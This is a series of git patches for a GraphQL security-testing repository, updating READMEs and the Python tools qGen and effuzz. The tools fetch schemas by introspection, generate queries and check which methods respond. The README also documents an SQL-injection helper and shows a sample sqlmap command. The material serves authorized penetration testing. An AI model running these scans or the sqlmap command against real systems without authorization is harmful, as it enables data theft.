From cb0a3b0333455649973d86bc24f05e66aaa93465 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Sun, 14 Dec 2025 17:37:09 +0100 Subject: [PATCH 01/30] Add files via upload --- README.md | 92 ++++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 71 insertions(+), 21 deletions(-) diff --git a/README.md b/README.md index 91d8457..47ed220 100644 --- a/README.md +++ b/README.md @@ -1,37 +1,87 @@ # GraphQL-Scripts -This repository contains a series of useful scripts for pentesting GraphQL endpoints. +This repository contains a set of small utilities to help with security testing and exploration of GraphQL endpoints. -## Basic Information +Included tools +- qGen — interactive Query Generator: lists schema methods and generates full GraphQL queries (selection sets) for a chosen method. +- effuzz — Endpoint Fuzzer: enumerates query/mutation names from a schema and performs lightweight requests to identify methods you can call (ffuf-like for GraphQL). +- sqli — SQLi Detector helper: probes string arguments for SQL injection indicators and writes sqlmap marker files for reproducible testing. -This repository contains two scripts: [qGen.py](https://github.com/gitblanc/GraphQL-Scripts/tree/main/qGen) and [effuzz.py](https://github.com/gitblanc/GraphQL-Scripts/tree/main/effuzz). -- `qGen.py` allows you to list all the methods available in your GraphQL schema and then generate a query to dump all possible information with a method (like `findAllUsers`). -- `effuzz.py` allows you to check permissions in all the methods of your GraphQL schema (similar output to `ffuf`). +Quick notes +- Tools accept an introspection JSON file via `--introspection`. +- If `--introspection` is omitted, `qGen` and `effuzz` can fetch the schema automatically from `--url` (requires the `requests` package). Automatic introspection is saved by default to `introspection_schema.json` (disable with `--no-save-introspection`). +- Use these tools only on systems for which you have explicit authorization. -## Methodology to use +Requirements +- Python 3.7+ +- For automatic introspection / HTTP requests: pip install requests ->[!Important] ->You must have previously obtained the result of an introspection query and save it to a json file like `introspection_schema.json` - -- You can first run `effuzz.py` to check for interesting methods allowed for your session: +Basic workflow (recommended) +1. Use `effuzz` to quickly determine which methods the current session can call (permission discovery). +2. Use `qGen` to generate a full query for an interesting method and paste the result into your GraphQL client (Burp, Postman, GraphiQL, etc.). +3. Optionally use the `sqli` helper to target string arguments for SQLi checks and produce sqlmap marker files. +effuzz — quick example +- Run with a saved introspection file: ```shell -python3 effuzz.py --introspection /path/to/introspection_schema.json --url https://example.com/graphql +python3 effuzz/effuzz.py --introspection /path/to/introspection_schema.json --url https://example.com/graphql +``` -[redacted] -getAllTests [Status: 401] [Size: 32] [Words: 5] [Lines: 1] -getAllUsers [Status: 400] [Size: 261] [Words: 25] [Lines: 1] #<----- This indicates a malformed query, so you have permissions for this one -getAllConfigs [Status: 200] [Size: 48] [Words: 15] [Lines: 1] #<----- You also have permissions for this one +- Example (sanitized) sample output: +```text +[✓] Introspection loaded (120 queries, 8 mutations) +------------------------------------------------------------ +getAllTests [Status: 401] [Size: 32] [Words: 5] [Lines: 1] +getAllUsers [Status: 400] [Size: 261] [Words: 25] [Lines: 1] # malformed query -> server accepted request (likely allowed) +getAllConfigs [Status: 200] [Size: 48] [Words: 15] [Lines: 1] # likely accessible +------------------------------------------------------------ +(Use --debug to dump full responses) ``` - -- Once you obtained those methods which might interest you, you can run `qGen.py` and generate a query for that method: +What to infer from effuzz output +- 401 / 403: authentication/authorization required. +- 400: GraphQL often returns 400 for malformed queries; if the server returns 400 rather than 401, it usually indicates your request reached the server (the method exists and you may have permission). +- 200: successful request — inspect the body for `data` or `errors`. + +qGen — quick example +- Run with a saved introspection file: ```shell -python3 qGen.py --introspection /path/to/introspection_schema.json +python3 qGen/qGen.py --introspection /path/to/introspection_schema.json +``` + +- Interactive session (sanitized): +```text +qGen $ listMethods + [1] getAllUsers + [2] getUserById -[redacted] qGen $ use getAllUsers -qGen $ genQuery +# The full query is printed and saved to queries/getAllUsers.txt +``` + +Notes about qGen +- The `use` command selects a method and immediately generates & saves the full query (no separate `genQuery` step). +- Generated queries are saved in the `queries/` directory. + +sqli helper — quick example +- Install requirements (if provided) or at minimum: +```bash +pip install requests +``` + +- Run (headers passed as JSON string is one supported way; consult script help for options): +```bash +python3 sqli/sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' +``` + +- Sample (sanitized) output: +```text +VULNERABLE PARAMETER: username (field: user) +Evidence: Baseline != Attack (baseline {"data": {"user": null}}, attack {"data": {"user": {"uuid": "1"}}}) +Recommended sqlmap command: +sqlmap -r 'repro-payloads/user_username___marker.http' -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent ``` -- Now you can copy the query generated and paste it into BurpSuite, PostMan or GraphiQL. +Security & ethics +- These tools actively probe targets; run them only on systems you are authorized to test. +- Inspect any generated marker files before running sqlmap or other automated tooling. From d1a1c80c233df9c4c90ac7001ccf86235443f87c Mon Sep 17 00:00:00 2001 From: jonyluke Date: Sun, 14 Dec 2025 17:37:32 +0100 Subject: [PATCH 02/30] Add files via upload --- qGen/README.md | 83 ++++++++++---- qGen/qGen.py | 290 +++++++++++++++++++++++++++++++++++-------------- 2 files changed, 272 insertions(+), 101 deletions(-) diff --git a/qGen/README.md b/qGen/README.md index bae69d8..bcd905d 100644 --- a/qGen/README.md +++ b/qGen/README.md @@ -1,4 +1,5 @@ -# Query Generator +```markdown +# Query Generator (qGen) This script helps you to generate sample queries for enormous GraphQL endpoints. @@ -14,26 +15,38 @@ This script helps you to generate sample queries for enormous GraphQL endpoints. ## Usage >[!Important] ->You must have previously obtained the result of an introspection query and save it to a json file like `introspection_schema.json`. +>You must either provide a saved introspection JSON file (e.g. `introspection_schema.json`) or allow qGen to fetch introspection automatically from a GraphQL endpoint by supplying `--url`. Automatic introspection requires the `requests` package. -- You must execute the script like this: +- To run with a local introspection file: ```shell python3 qGen.py --introspection /path/to/introspection_schema.json ``` -- Then you'll be prompted with an interactive terminal: +- To run and let qGen obtain the introspection from a live endpoint (automatic mode): + +```shell +python3 qGen.py --url https://example.com/graphql \ + -H "Authorization: Bearer TOKEN" \ + --cookie /path/to/cookie.txt +``` + +Notes: +- Automatic introspection requires the Python package `requests` (install with `pip install requests`). +- When qGen fetches introspection automatically, the result is saved by default to `introspection_schema.json`. Use `--no-save-introspection` to avoid saving the file. + +- After starting, you'll be prompted with an interactive terminal: ```shell qGen $ ``` -### Option 1 +### Option 1 — List and select by index -- You can list all methods and mutations available in your schema and select the one you are interested in: +You can list all methods available in your schema and select the one you want: ```shell -# ------Listing methods and selecting one------ +# ------ Listing methods and selecting one ------ qGen $ listMethods [redacted] @@ -42,25 +55,26 @@ qGen $ listMethods [3] findAllConfigFiles qGen $ use 1 -qGen $ genQuery +# Selecting a method with `use` immediately generates and prints the full query, +# and the query is automatically saved to queries/.txt ``` -### Option 2 +### Option 2 — Select by name -- Directly use one method you know by name: +Directly select a method by its name: ```shell -# ------Directly select one method------ +# ------ Directly select one method ------ qGen $ use findAllConfigFiles -qGen $ genQuery +# The query is generated and saved automatically ``` -### Option 3 +### Option 3 — Filtered listing with grep -- Search for specific methods according to a grep pipe: +You can pipe the output of `listMethods` through a simple grep filter: ```shell -# ------Search for alike methods------ +# ------ Search for similar methods ------ qGen $ listMethods | grep Id [redacted] @@ -69,7 +83,7 @@ qGen $ listMethods | grep Id [89] findAllConfigFilesByContractId qGen $ use 89 -qGen $ genQuery +# The full query for method 89 is generated and saved ``` ## Available commands @@ -79,10 +93,41 @@ qGen $ genQuery ```shell help - Show the help message listMethods - List all available GraphQL methods - use - Select a method - genQuery - Generate a full GraphQL query with all fields + use - Select a method (by index or name) and immediately generate & save its full query exit - Exit the application ``` +Notes about behavior and output +- The `use` command now combines selection and query generation: when you `use` a method, qGen prints the complete GraphQL query (including nested selections) and saves it into `queries/.txt`. +- Saved queries are stored in the `queries/` directory (created automatically if missing). +- A typical generated query will include all scalar fields and descend into nested object fields where possible (respecting cycles by avoiding repeated types). + +Example interactive output (sample) +```text +qGen $ use getAllUsers + +---------------------------------------- +query getAllUsers { + getAllUsers { + id + username + email + profile { + id + name + } + } +} +---------------------------------------- + +📁 Query saved to: queries/getAllUsers.txt +``` - +Troubleshooting +- If automatic introspection fails, check: + - That the `--url` is correct and reachable. + - Authentication headers or cookie are correct (`-H "Authorization: Bearer ..."` or `--cookie /path/to/cookie.txt`). + - That the server responds to GraphQL introspection and returns JSON containing `__schema`. +- If you prefer to avoid network fetching, run the introspection query separately (using curl, GraphiQL, or another client), save the JSON, and pass it with `--introspection`. +- If a generated query is too large for your client, consider manually trimming fields or selecting nested fields selectively. +``` diff --git a/qGen/qGen.py b/qGen/qGen.py index 42266e5..5f43d6a 100644 --- a/qGen/qGen.py +++ b/qGen/qGen.py @@ -1,8 +1,17 @@ +#!/usr/bin/env python3 import json import os import sys import argparse - +import textwrap +from typing import Dict, Any, List, Optional + +# Try to import requests; if missing, we'll show a helpful message when needed +try: + import requests +except Exception: + requests = None + # ANSI COLORS RED = "\033[31m" GREY = "\033[90m" @@ -10,7 +19,7 @@ YELLOW = "\033[33m" CYAN = "\033[36m" RESET = "\033[0m" - + def print_banner(): print(f""" {YELLOW} @@ -21,19 +30,19 @@ def print_banner(): ╚██████╔╝╚██████╔╝███████╗██║ ╚████║ ╚══▀▀═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ v1.0 {RESET} - + {CYAN}made by gitblanc — https://github.com/gitblanc/QGen{RESET} - + """) - + def load_introspection(): while True: path = input("Enter introspection JSON file path: ").strip() - + if not os.path.exists(path): print("❌ File not found. Try again.\n") continue - + try: with open(path, "r", encoding="utf-8") as f: data = json.load(f) @@ -41,110 +50,184 @@ def load_introspection(): return data except Exception as e: print(f"❌ Error reading JSON: {e}\n") - - + +# Introspection query used when obtaining schema from endpoint +INTROSPECTION_QUERY = """ +query IntrospectionQuery { + __schema { + queryType { name } + mutationType { name } + types { + kind + name + fields(includeDeprecated: true) { + name + args { + name + type { kind name ofType { kind name ofType { kind name } } } + } + type { kind name ofType { kind name } } + } + } + } +} +""" + +def parse_header_list(headers_list: List[str]) -> Dict[str, str]: + """ + Convert list of 'Name: Value' strings to a dict (last wins for duplicates). + """ + hdrs: Dict[str, str] = {} + for h in headers_list or []: + if ":" not in h: + print(f"⚠️ Ignoring malformed header (expected 'Name: Value'): {h}") + continue + name, value = h.split(":", 1) + hdrs[name.strip()] = value.strip() + return hdrs + +def perform_introspection_request(url: str, headers: Dict[str, str], timeout: int = 15) -> Optional[Dict[str, Any]]: + """ + Perform a POST request to the GraphQL endpoint with the introspection query. + Returns parsed JSON on success, or None on failure. + """ + if requests is None: + print("❌ The 'requests' library is required for automatic introspection. Install with: pip install requests") + return None + + try: + resp = requests.post(url, headers=headers, json={"query": INTROSPECTION_QUERY}, timeout=timeout) + except requests.exceptions.RequestException as e: + print(f"❌ HTTP error while requesting introspection: {e}") + return None + + try: + data = resp.json() + except Exception as e: + print(f"❌ Response is not valid JSON: {e}") + return None + + if (isinstance(data, dict) and + ((data.get("data") and isinstance(data["data"], dict) and "__schema" in data["data"]) or ("__schema" in data))): + return data + + print("❌ Introspection response does not contain '__schema' (not a valid GraphQL introspection).") + return None + +def save_introspection_file(data: Dict[str, Any], path: str = "introspection_schema.json") -> None: + try: + with open(path, "w", encoding="utf-8") as fh: + json.dump(data, fh, indent=2, ensure_ascii=False) + print(f"✅ Introspection saved to: {path}") + except Exception as e: + print(f"⚠️ Failed to save introspection to {path}: {e}") + # Extract query fields def extract_graphql_queries(introspection): try: types = introspection["data"]["__schema"]["types"] except Exception: return [] - + query_type_name = introspection["data"]["__schema"]["queryType"]["name"] query_type = next((t for t in types if t.get("name") == query_type_name), None) - + if not query_type: return [] - + return query_type.get("fields", []) - - + + # Follow NON_NULL / LIST / etc. def resolve_type(t): while t.get("ofType") is not None: t = t["ofType"] return t - - + + # Recursively build full field tree for the query def build_field_tree(field_type, types, depth=0, visited=None): if visited is None: visited = set() - + field_type = resolve_type(field_type) - - if field_type["name"] in visited: + + # Some types might not have a name (e.g., scalars) - guard + name = field_type.get("name") + if name and name in visited: return "" - - visited.add(field_type["name"]) - - if field_type["kind"] != "OBJECT": + + if name: + visited.add(name) + + if field_type.get("kind") != "OBJECT": return "" - + obj = next((t for t in types if t["name"] == field_type["name"]), None) if not obj or "fields" not in obj: return "" - + indent = " " * depth result = "" - + for f in obj["fields"]: f_type = resolve_type(f["type"]) f_name = f["name"] - - if f_type["kind"] == "OBJECT": + + if f_type.get("kind") == "OBJECT": sub = build_field_tree(f["type"], types, depth + 1, visited.copy()) result += f"{indent}{f_name} {{\n{sub}{indent}}}\n" else: result += f"{indent}{f_name}\n" - + return result - + def save_query_to_file(method_name, query_text): # Ensure directory exists os.makedirs("queries", exist_ok=True) - + path = f"queries/{method_name}.txt" - + try: with open(path, "w", encoding="utf-8") as f: f.write(query_text) print(f"📁 Query saved to: {path}\n") except Exception as e: print(f"❌ Error saving query: {e}") - - + def stringify_type(t): """Convert GraphQL type tree into a printable type string.""" - if t["kind"] == "NON_NULL": + if not isinstance(t, dict): + return "Unknown" + if t.get("kind") == "NON_NULL": return f"{stringify_type(t['ofType'])}!" - elif t["kind"] == "LIST": + elif t.get("kind") == "LIST": return f"[{stringify_type(t['ofType'])}]" else: - return t["name"] - + return t.get("name", "Unknown") + def generate_full_query(method_field, introspection): types = introspection["data"]["__schema"]["types"] - + # ---- Extract arguments ---- args = method_field.get("args", []) variables = [] call_args = [] - + for a in args: var_name = a["name"] var_type = stringify_type(a["type"]) variables.append(f"${var_name}: {var_type}") call_args.append(f"{var_name}: ${var_name}") - + # Build signature variables_str = f"({', '.join(variables)})" if variables else "" call_args_str = f"({', '.join(call_args)})" if call_args else "" - + # ---- Build field tree ---- root_type = method_field["type"] fields_tree = build_field_tree(root_type, types, depth=2) - + # ---- Build final query ---- return f""" query {method_field['name']}{variables_str} {{ @@ -153,33 +236,32 @@ def generate_full_query(method_field, introspection): }} }} """.rstrip() - - + + def print_help(): print(""" Available commands: help - Show this help message listMethods - List all available GraphQL methods - use - Select a method - genQuery - Generate a full GraphQL query with all fields + use - Select a method and immediately generate its full query exit - Exit the application """) - - + + def interactive_console(methods, introspection): selected_method = None - + print("Type 'help' to see available commands.\n") - + while True: raw_cmd = input(f"{RED}Qgen ${RESET} ").strip() - + # --- PIPE SUPPORT --- if "|" in raw_cmd: left, _, right = raw_cmd.partition("|") cmd = left.strip() pipe_cmd = right.strip() - + if pipe_cmd.startswith("grep"): _, _, grep_text = pipe_cmd.partition("grep") grep_text = grep_text.strip().lower() @@ -190,14 +272,13 @@ def interactive_console(methods, introspection): cmd = raw_cmd pipe_cmd = None # --------------------- - + # MAIN COMMAND HANDLING if cmd == "help": output = """Available commands: help - Show this help message listMethods - List all available GraphQL methods - use - Select a method - genQuery - Generate a full GraphQL query with all fields + use - Select a method and immediately generate its full query exit - Exit the application """ if pipe_cmd: @@ -205,22 +286,22 @@ def interactive_console(methods, introspection): line for line in output.splitlines() if grep_text in line.lower() ) print(output) - + elif cmd == "listMethods": lines = [f" [{i}] {m['name']}" for i, m in enumerate(methods, start=1)] - + if pipe_cmd: lines = [l for l in lines if grep_text in l.lower()] - + print("\n📌 Available methods:") for line in lines: print(line) print() - + elif cmd.startswith("use "): _, _, value = cmd.partition(" ") value = value.strip() - + if value.isdigit(): idx = int(value) - 1 if 0 <= idx < len(methods): @@ -228,6 +309,7 @@ def interactive_console(methods, introspection): print(f"✔ Selected method: {selected_method['name']}\n") else: print("❌ Invalid method number.\n") + continue else: match = next((m for m in methods if m["name"] == value), None) if match: @@ -235,41 +317,58 @@ def interactive_console(methods, introspection): print(f"✔ Selected method: {value}\n") else: print("❌ Method not found.\n") - - elif cmd == "genQuery": - if not selected_method: - print("❌ Select a method first with: use \n") - else: + continue + + # Unified behavior: immediately generate the full query for the selected method + try: query = generate_full_query(selected_method, introspection) print("\n----------------------------------------") print(f"{BLUE}{query}{RESET}") print("----------------------------------------\n") - + # Save the query automatically save_query_to_file(selected_method["name"], query) - + except Exception as e: + print(f"❌ Error generating query: {e}\n") + elif cmd == "exit": print("👋 Exiting...") break - + else: print("❌ Unknown command. Type 'help' for the command list.\n") - - + + def main(): print_banner() print("=== GraphQL Interactive CLI (extruder) ===\n") - + parser = argparse.ArgumentParser(description="GraphQL Introspection CLI Extruder") parser.add_argument( "--introspection", type=str, help="Path to introspection JSON file" ) - + # New: endpoint URL to query introspection if --introspection is omitted + parser.add_argument( + "--url", + type=str, + help="GraphQL endpoint URL to perform introspection automatically if --introspection is not provided" + ) + # Support repeated headers -H "Name: Value" + parser.add_argument("-H", "--header", action="append", default=[], help="Additional HTTP header to include when performing automatic introspection. Format: 'Name: Value'") + # Cookie file support (for automatic introspection) + parser.add_argument("--cookie", help="File containing cookie in plain text (one line) to use when performing automatic introspection") + # Saving option for automatic introspection + parser.add_argument("--save-introspection", dest="save_introspection", action="store_true", help="Save automatic introspection to introspection_schema.json") + parser.add_argument("--no-save-introspection", dest="save_introspection", action="store_false", help="Do not save automatic introspection to disk") + parser.set_defaults(save_introspection=True) + args = parser.parse_args() - - # If provided via CLI, try to load it directly + + introspection = None + + # If provided via CLI file, try to load it directly if args.introspection: if os.path.exists(args.introspection): try: @@ -283,17 +382,44 @@ def main(): print("❌ File path passed to --introspection does not exist.\n") return else: - # Fall back to interactive prompt - introspection = load_introspection() - + # Attempt to perform automatic introspection if --url provided + if args.url: + # Build headers: Content-Type + user provided headers + cookie (if provided) + headers = {"Content-Type": "application/json"} + extra_headers = parse_header_list(args.header) + if args.cookie: + if not os.path.exists(args.cookie): + print(f"❌ Cookie file not found: {args.cookie}\n") + return + with open(args.cookie, "r", encoding="utf-8") as f: + cookie_value = f.read().strip() + # Respect explicit Cookie header if user provided it via -H + if "Cookie" not in extra_headers: + extra_headers["Cookie"] = cookie_value + headers.update(extra_headers) + + print(f"[*] No --introspection provided; performing introspection query against {args.url} ...") + result = perform_introspection_request(args.url, headers) + if result is None: + print("❌ Could not obtain introspection from endpoint. Falling back to interactive prompt.\n") + introspection = load_introspection() + else: + introspection = result + print("✅ Introspection obtained from endpoint.\n") + if args.save_introspection: + save_introspection_file(introspection, path="introspection_schema.json") + else: + # Fall back to interactive prompt if no --url supplied + introspection = load_introspection() + methods = extract_graphql_queries(introspection) - + if not methods: print("❌ No GraphQL methods found in the introspection.") return - + interactive_console(methods, introspection) - - + + if __name__ == "__main__": main() From 554b8433cd887ba521624da328ce772baf60df31 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Sun, 14 Dec 2025 17:37:53 +0100 Subject: [PATCH 03/30] Add files via upload --- effuzz/README.md | 127 ++++++++--- effuzz/effuzz.py | 567 ++++++++++++++++++++++++++++------------------- 2 files changed, 442 insertions(+), 252 deletions(-) diff --git a/effuzz/README.md b/effuzz/README.md index 692c7aa..bbaa4f7 100644 --- a/effuzz/README.md +++ b/effuzz/README.md @@ -1,6 +1,7 @@ -# Endpoint Fuzzer +```markdown +# Endpoint Fuzzer (effuzz) -This script helps you check for methods you've got permissions in your GraphQL schema. +This script helps you detect which GraphQL methods you may be able to call (or have permissions for) by enumerating Query/Mutation names from an introspection schema and performing lightweight checks. ```shell ███████╗███████╗███████╗██╗ ██╗███████╗███████╗ @@ -8,55 +9,129 @@ This script helps you check for methods you've got permissions in your GraphQL s █████╗ █████╗ █████╗ ██║ ██║ ███╔╝ ███╔╝ ██╔══╝ ██╔══╝ ██╔══╝ ██║ ██║ ███╔╝ ███╔╝ ███████╗██║ ██║ ╚██████╔╝███████╗███████╗ -╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚══════╝ +╚══════╝╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝ ``` +## Overview + +effuzz enumerates available fields from a GraphQL schema and issues minimal GraphQL requests for each method to learn how the server responds. It is useful to quickly spot methods that accept requests (status 200/400) versus those that deny access (401/403) or cause other errors. + +Two modes: +- Explicit introspection: supply a previously saved introspection JSON with `--introspection`. +- Automatic introspection: omit `--introspection` and provide `--url`; effuzz will attempt to fetch the schema from the endpoint (requires the `requests` library). By default the fetched introspection is saved to `introspection_schema.json` (toggle with `--no-save-introspection`). + +Note: Use these tools only on targets you are authorized to test. + +## Requirements + +- Python 3.7+ +- requests (only required for automatic introspection / HTTP requests): + pip install requests + ## Usage ->[!Important] ->You must have previously obtained the result of an introspection query and save it to a json file like `introspection_schema.json`. +Important: either provide a local introspection JSON or let effuzz fetch it automatically from the target with `--url`. -- Basic command: +- Using a saved introspection file (explicit mode): ```shell -python3 effuzz.py --introspection /path/to/introspection_schema.json --url https://example.com/graphql +python3 effuzz/effuzz.py --introspection /path/to/introspection_schema.json --url https://example.com/graphql ``` -- If you have cookie and/or variables to anidate queries: +- Automatic introspection (effuzz fetches the schema from the endpoint): ```shell -python3 effuzz.py --introspection /path/to/introspection_schema.json --url https://example.com/graphql --cookie /path/to/cookie.txt --variables /path/to/variables.json +python3 effuzz/effuzz.py --url https://example.com/graphql \ + -H "Authorization: Bearer TOKEN" \ + --cookie /path/to/cookie.txt ``` -- Enable debug mode to check petitions and responses: +- With variables file and cookie: ```shell -python3 effuzz.py --introspection /path/to/introspection_schema.json --url https://example.com/graphql --debug +python3 effuzz/effuzz.py --introspection /path/to/introspection_schema.json \ + --url https://example.com/graphql \ + --cookie /path/to/cookie.txt \ + --variables /path/to/variables.json ``` -- Match exact reponse status codes: +- Enable debug to inspect request and response bodies: ```shell -python3 effuzz.py --introspection /path/to/introspection_schema.json --url https://example.com/graphql --mc 200,403 +python3 effuzz/effuzz.py --introspection introspection_schema.json --url https://example.com/graphql --debug ``` -- Hide responses with matching status codes: +- Match specific response status codes (show only these): ```shell -python3 effuzz.py --introspection /path/to/introspection_schema.json --url https://example.com/graphql --fc 200,403 +python3 effuzz/effuzz.py --introspection introspection_schema.json --url https://example.com/graphql --match-code 200,403 ``` -## Available commands - -- You can use the following commands: +- Filter out specific status codes (hide these): ```shell - --introspection Path to the introspection JSON file - --url GraphQL endpoint URL - -s | --silent Only show endpoints that DO NOT return 401 - --cookie File containing cookie in plain text (one line) - --variables JSON file with variables for the payload - --debug Show full request and response - --match-code | -mc Show only responses with matching status codes (e.g., 200,403,500) - --filter-code | -fc Hide responses with matching status codes (e.g., 401,404) +python3 effuzz/effuzz.py --introspection introspection_schema.json --url https://example.com/graphql --filter-code 401,404 +``` + +## Important options + +```text +--introspection Path to the introspection JSON file (optional if --url is used) +--url GraphQL endpoint URL (required for automatic introspection) +-H, --header Add HTTP header(s) for requests; repeatable. Format: "Name: Value" +-s, --silent Hide responses that return 401 +--cookie File containing cookie value (one line); ignored if Cookie provided via -H +--variables JSON file with variables to include in requests +--debug Print full request and response bodies (helps troubleshooting) +--match-code, -mc Show only responses with these status codes (comma separated) +--filter-code, -fc Hide responses that match these status codes (comma separated) +--save-introspection Save automatic introspection to introspection_schema.json (default) +--no-save-introspection Do not save automatic introspection to disk +``` + +## Example output + +A short sample run (values and counts are illustrative): + +```text +$ python3 effuzz/effuzz.py --introspection introspection_schema.json --url http://94.237.63.174:57732/graphql + +[✓] Introspection loaded (120 queries, 8 mutations) +------------------------------------------------------------ +getAllTests [Status: 401] [Size: 32] [Words: 5] [Lines: 1] +getAllUsers [Status: 400] [Size: 261] [Words: 25] [Lines: 1] # malformed query -> server accepted request +getAllConfigs [Status: 200] [Size: 48] [Words: 15] [Lines: 1] # likely accessible +findUserByEmail [Status: 200] [Size: 512] [Words: 80] [Lines: 3] # returns data +------------------------------------------------------------ +(Use --debug to dump full responses) +``` + +Notes on interpreting results: +- 401 / 403: usually indicates authentication/authorization required. +- 400: GraphQL servers commonly return 400 for syntactically invalid or semantically wrong queries – this can still mean the method exists and the server processed the request. +- 200: successful request; check response body for `data` or `errors` to decide further steps. + +## Troubleshooting + +- Automatic introspection fails: + - Ensure `--url` points to the GraphQL endpoint. + - Provide proper auth headers with `-H "Authorization: Bearer ..."` or use `--cookie`. + - Check that the server accepts the introspection query (some servers disable it). + - If the endpoint returns non-JSON or a wrapper format, effuzz may not detect `__schema`. + +- Requests fail with network errors: + - Try increasing timeout in the code or check network connectivity/proxy settings. + +- Too many fields / huge schema: + - Consider filtering or generating smaller payloads when using the `--variables` option or modifying the request loop. + +## Security & ethics + +Only run effuzz on systems you are authorized to test. These tools are intended for legitimate security testing and research. + +## Further reading / next steps + +- Use qGen to generate full queries for interesting methods discovered by effuzz. +- Use the sqli helper to target string arguments found in introspection for simple SQLi checks. +``` ``` diff --git a/effuzz/effuzz.py b/effuzz/effuzz.py index ee31dd1..ccf5de1 100644 --- a/effuzz/effuzz.py +++ b/effuzz/effuzz.py @@ -1,251 +1,366 @@ #!/usr/bin/env python3 +""" +effuzz.py - GraphQL endpoint fuzzer + +Comportamiento principal: +- Si se pasa --introspection /ruta/to/file.json, carga ese JSON (valida). +- Si no se pasa --introspection, realiza automáticamente la consulta de introspección + al endpoint definido por --url usando las cabeceras (-H/--header) y --cookie si se proporcionan. + Por defecto guarda la introspección en introspection_schema.json (puedes desactivar con --no-save-introspection). +- Extrae queries y mutations del esquema y realiza una comprobación básica tipo ffuf (envía peticiones y muestra status/size/words/lines). +- Mantiene opciones: --variables (JSON), --debug, --match-code, --filter-code, -s/--silent. +""" + +import os +import sys import json -import requests import argparse -import sys -import os - -# ===================================================== -# COLORS -# ===================================================== -RED = "\033[91m" -YELLOW = "\033[93m" -MAGENTA = "\033[95m" -GREEN = "\033[92m" -CYAN = "\033[36m" +import textwrap +from typing import Dict, Any, List, Optional + +# Intentar importar requests, indicar al usuario si falta +try: + import requests +except Exception: + requests = None + +# ANSI colors +RED = "\033[31m" +GREEN = "\033[32m" +YELLOW = "\033[33m" +BLUE = "\033[34m" RESET = "\033[0m" - + def print_banner(): - print(f""" -{YELLOW} -███████╗███████╗███████╗██╗ ██╗███████╗███████╗ -██╔════╝██╔════╝██╔════╝██║ ██║╚══███╔╝╚══███╔╝ -█████╗ █████╗ █████╗ ██║ ██║ ███╔╝ ███╔╝ -██╔══╝ ██╔══╝ ██╔══╝ ██║ ██║ ███╔╝ ███╔╝ -███████╗██║ ██║ ╚██████╔╝███████╗███████╗ -╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚══════╝ - v1.0 -{RESET} - -{CYAN}made by gitblanc — https://github.com/gitblanc/GraphQL-Scripts{RESET} - -""") - -# ===================================================== -# CLI ARGUMENTS -# ===================================================== -parser = argparse.ArgumentParser(description="Test GraphQL endpoints using introspection.") -parser.add_argument("--introspection", required=True, help="Path to the introspection JSON file") -parser.add_argument("--url", required=True, help="GraphQL endpoint URL") - -parser.add_argument("-s", "--silent", action="store_true", - help="Only show endpoints that DO NOT return 401") - -parser.add_argument("--cookie", help="File containing cookie in plain text (one line)") -parser.add_argument("--variables", help="JSON file with variables for the payload") -parser.add_argument("--debug", action="store_true", help="Show full request and response") -parser.add_argument("--match-code", "-mc", - help="Show only responses with matching status codes (e.g., 200,403,500)") -parser.add_argument("--filter-code", "-fc", - help="Hide responses with matching status codes (e.g., 401,404)") - -args = parser.parse_args() - -GRAPHQL_URL = args.url -INTROSPECTION_FILE = args.introspection - -# Parse match-code -match_codes = None -if args.match_code: - match_codes = set(int(x.strip()) for x in args.match_code.split(",") if x.strip().isdigit()) - -# Parse filter-code -filter_codes = None -if args.filter_code: - filter_codes = set(int(x.strip()) for x in args.filter_code.split(",") if x.strip().isdigit()) - -print_banner() - -# ===================================================== -# VALIDATE FILE -# ===================================================== -if not os.path.exists(INTROSPECTION_FILE): - print(f"❌ File not found: {INTROSPECTION_FILE}") - sys.exit(1) - -try: - with open(INTROSPECTION_FILE, "r") as f: - introspection_data = json.load(f) -except json.JSONDecodeError: - print("❌ The introspection file is NOT valid JSON.") - sys.exit(1) - -# ===================================================== -# LOAD COOKIE AND VARIABLES -# ===================================================== -cookie_value = None -if args.cookie: - if not os.path.exists(args.cookie): - print(f"❌ Cookie file not found: {args.cookie}") - sys.exit(1) - with open(args.cookie, "r") as f: - cookie_value = f.read().strip() - -variables_value = {} -if args.variables: - if not os.path.exists(args.variables): - print(f"❌ Variables file not found: {args.variables}") - sys.exit(1) - try: - with open(args.variables, "r") as f: - variables_value = json.load(f) - except: - print("❌ Variables file is NOT valid JSON.") - sys.exit(1) - -# ===================================================== -# EXTRACT QUERIES / MUTATIONS FROM THE SCHEMA -# ===================================================== -if "data" not in introspection_data: - print("❌ JSON does not contain 'data' key. Not valid introspection.") - sys.exit(1) - -schema = introspection_data["data"].get("__schema", {}) -types = schema.get("types", []) - -def get_fields(type_name): - for t in types: - if t.get("name") == type_name: - return [f["name"] for f in t.get("fields", [])] - return [] - -query_type_name = schema.get("queryType", {}).get("name") -mutation_type_name = schema.get("mutationType", {}).get("name") - -queries = get_fields(query_type_name) if query_type_name else [] -mutations = get_fields(mutation_type_name) if mutation_type_name else [] - -print(f"[✓] Introspection loaded ({len(queries)} queries, {len(mutations)} mutations)") -print("------------------------------------------------------------") - -# ===================================================== -# HEADERS (With or without authentication) -# ===================================================== -HEADERS = { - "Content-Type": "application/json" + print(textwrap.dedent(f""" + {YELLOW} + ███████╗███████╗███████╗██╗ ██╗███████╗███████╗ + ██╔════╝██╔════╝██╔════╝██║ ██║╚══███╔╝╚══███╔╝ + █████╗ █████╗ █████╗ ██║ ██║ ███╔╝ ███╔╝ + ██╔══╝ ██╔══╝ ██╔══╝ ██║ ██║ ███╔╝ ███╔╝ + ███████╗██║ ██║ ╚██████╔╝███████╗███████╗ + ╚══════╝╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝ + {RESET} + """)) + +# Introspection query (suficientemente completa) +INTROSPECTION_QUERY = """ +query IntrospectionQuery { + __schema { + queryType { name } + mutationType { name } + types { + kind + name + fields(includeDeprecated: true) { + name + args { + name + type { kind name ofType { kind name ofType { kind name } } } + } + type { kind name ofType { kind name } } + } + } + } } - -if cookie_value: - HEADERS["Cookie"] = cookie_value - -# ===================================================== -# FFUF-LIKE 